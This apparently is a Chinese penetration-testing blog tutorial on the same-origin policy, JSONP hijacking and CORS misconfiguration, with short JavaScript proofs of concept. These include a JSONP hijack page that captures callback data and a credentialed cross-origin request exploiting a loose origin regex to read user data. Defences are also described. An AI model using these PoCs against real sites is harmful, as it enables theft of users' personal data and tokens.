?

May 10 2019

JSONP與CORS漏洞挖掘

首頁 » 滲透測試 » JSONP與CORS漏洞挖掘   

前言
本文從筆者自己對同源策略的理解來談談與之相關的JSONP劫持和CORS錯誤配置這兩類安全問題。
 
同源策略(SOP)
同源策略限制從一個源加載的文檔或腳本與來自另一個源的資源進行交互,這是一個用于隔離潛在惡意文件的關鍵的安全機制.簡單說就是瀏覽器的一種安全策略。
“同源”包括三個條件:
  • 同協議
  • 同域名
  • 同端口

同源策略的具體表現舉例:當attacker.me試圖獲取victim.me下的資源,瀏覽器會阻止返回該資源。


< script type = "text/javascript" >
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
        console.log(xhr.responseText);
    }
}
xhr.open("GET", "http://victim.me/secret");

xhr.send(); < /script>/

2.png

(該請求雖然發出去了,但瀏覽器拒絕返回響應內容)
3.png

跨域
雖然同源策略在安全方面起到了很好的防護作用,但也在一定程度上限制了一些前端功能的實現,所以就有了許多跨域的手段。
 
可跨域的標簽
所有帶src或href屬性的標簽以及部分其他標簽可以跨域:

< script src = "..." > </script>
<img src="...">
<video src="..."></video > <audio src = "..." > </audio>
<embed src="...">
<frame src="...">
<iframe src="..."></iframe > <link rel = "stylesheet"href = "..." > <applet code = "..." > </applet>
<object data="..." ></object >

@font - face可以引入跨域字體。

< style type = "text/css" > @font - face {
    src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");
} < /style>/


我為什么要說這些標簽呢,因為下文的JSONP跨域就是利用script標簽來實現的。
document.domain
同一主域的不同子域可以設置document.domain為主域來讓他們同域,并且子域的協議和端口都要一致。
document.domain只能設置往上設置域名,需要載入iframe來相互操作。
舉例:將a.victim.me和b.victim.me的域設置為victim.me,實現跨域。
< !--a.html-->
<html > <body > <script type = "text/javascript" > document.domain = 'victim.me';
var ifr = document.createElement('iframe');
ifr.src = 'http://b.victim.me/b.html';
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function() {
    var ifrdoc = ifr.contentDocument || ifr.contentWindow.document;
    alert(ifrdoc.getElementsByTagName('html')[0].innerHTML);
}; < /script>
</body > </html>
<!-- b.html -->
<script type="text/javascript ">
    document.domain = "victim.me ";
</script>"

4.png

JSONP
JSONP跨域巧妙的利用了script標簽能跨域的特點,實現了json的跨域傳輸。
實例,例如這樣一個獲取客戶端IP的接口,
5.png

callback參數從客戶端傳入,返回的hack({"ip": "***.***.159.159"});,形式正好是在調用hack()函數。
所以只要我們在調用該接口處事先定義好這個hack()函數,就能獲取到傳入的參數{"ip": "***.***.159.159"},從而實現了json的跨域傳輸。
< !--jsonp_hijack.html--><script >
function addScriptTag(src) {
    var script = document.createElement('script');
    script.setAttribute("type", "text/javascript");
    script.src = src;
    document.body.appendChild(script);
}window.onload = function() {
    addScriptTag('http://ip.jsontest.com/?callback=ip');
}
function ip(data) {
    alert(data.ip);
}; < /script>/

6.png

當這個接口沒有驗證Referer頭的時候,就存在JSONP劫持漏洞,即在任何域下都能竊取到傳輸的數據。
當接口返回的是一些敏感數據時(如CSRF TOKEN,用戶個人信息等),危害是很大的。
具體案例可以看:
防御策略就是檢查referer頭是否在白名單內。
跨源資源共享(CORS)
跨源資源共享 (CORS) 定義了在一個域中加載的客戶端 Web 應用程序與另一個域中的資源交互的方式,需要瀏覽器和服務器共同支持才能實現
瀏覽器將CORS請求分成兩類:簡單請求(simple request)和非簡單請求(not-so-simple request)
具體可以參考CORS通信
CORS的配置很簡單,以PHP為例,
< ?php
// index.php
header("Access-Control-Allow-Origin: http://attacker.me");
echo 'secret';這里在victim.me下設置了一個白名單: attacker.me,
于是attacker.me就能跨域到victim.me < !--inde.html--><script type = "text/javascript" >
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
        alert(xhr.responseText);
    }
}
xhr.open("GET", "http://victim.me/index.php");
xhr.send(); < /script>/

7.png

此時這個xhr是沒有攜帶cookie的,如果需要支持cookie,還需要服務端配置:
header("Access-Control-Allow-Credentials: true");
同時在客戶端把withCredentials設置為true
7.png

還有一種特殊情況,就是Access-Control-Allow-Origin設置成通配符”*”時,表示允許任何域名跨源。
如果再把Access-Control-Allow-Credentials設置為true,允許客戶端帶上cookie的話,無疑此時是非常危險的.因為攻擊者很容易就能竊取到用戶個人的數據。
所以瀏覽器加上了最后一道防線,當
header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Credentials: true");
這種配置出現時,瀏覽器會拒接呈現服務端返回的資源.
9.png
客戶端不帶cookie請求的話還是會正常呈現的,因為cookie是一種身份標識,一旦瀏覽器標識了用戶身份,那么返回的數據必然屬于用戶個人,所以瀏覽器設計了這種措施來保護用戶數據不被泄露。
盡管CORS在設計上考慮到了安全問題,但是用戶在配置時還是常出現很多錯誤。
例如設置”Access-Control-Allow-Origin”的白名單時,正則寫的不正確,導致預期外的域名可以跨域。
筆者在不久前就遇到了這樣一個案例。

10.png

這個接口用于返回用戶的地址等數據,但正則沒寫對。
程序員想匹配domain.com及其任意子域,我推測他可能寫的是.*domain\.com
結果導致了使用evildomain.com或者domain.com.evil.me也能匹配上,從而被繞過
POC:
< !DOCTYPE html > <html >

<body > div id = "demo" > <button type = "button"onclick = "cors()" > Exploit < /button>
</div >

<script >
function cors() {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            document.getElementById("demo").innerHTML = alert(this.responseText);
        }
    };
    xhttp.open("GET", "https://target.com/", true);
    xhttp.withCredentials = true;
    xhttp.send();
} < /script>
</body > </html>/

11.png

國內這方面的案例太少,很多人覺得這些不痛不癢的洞沒什么危害,國外可以看到一些案例:
這類問題的防御措施是正確的配置Access-Control-Allow-Origin,尤其是配置為具有”通配”效果的域名時,一定要謹慎。
 
總結
只要理解了同源策略,JSONP和CORS就很容易理解了。
我以前接觸同源策略最大的一個誤區就是:認為同源策略阻止了請求的發送。
其實,無論是同源策略還是CORS,都是瀏覽器阻止了響應的呈現,而非請求。
最后,JSONP劫持和CORS錯誤配置這兩類問題已經出現多年,但是現在還是大量出現,相當重要的一個原因是廠商不夠重視.認為傳輸的數據并不重要,但是一旦因為這些小問題,擊潰你的CSRF防御甚至賬戶認證體系時,可能就為時已晚了。
 

正文部分到此結束

文章標簽: JSONP漏洞 CORS漏洞

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «域滲透(提權篇) | Linux提權之SUID»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖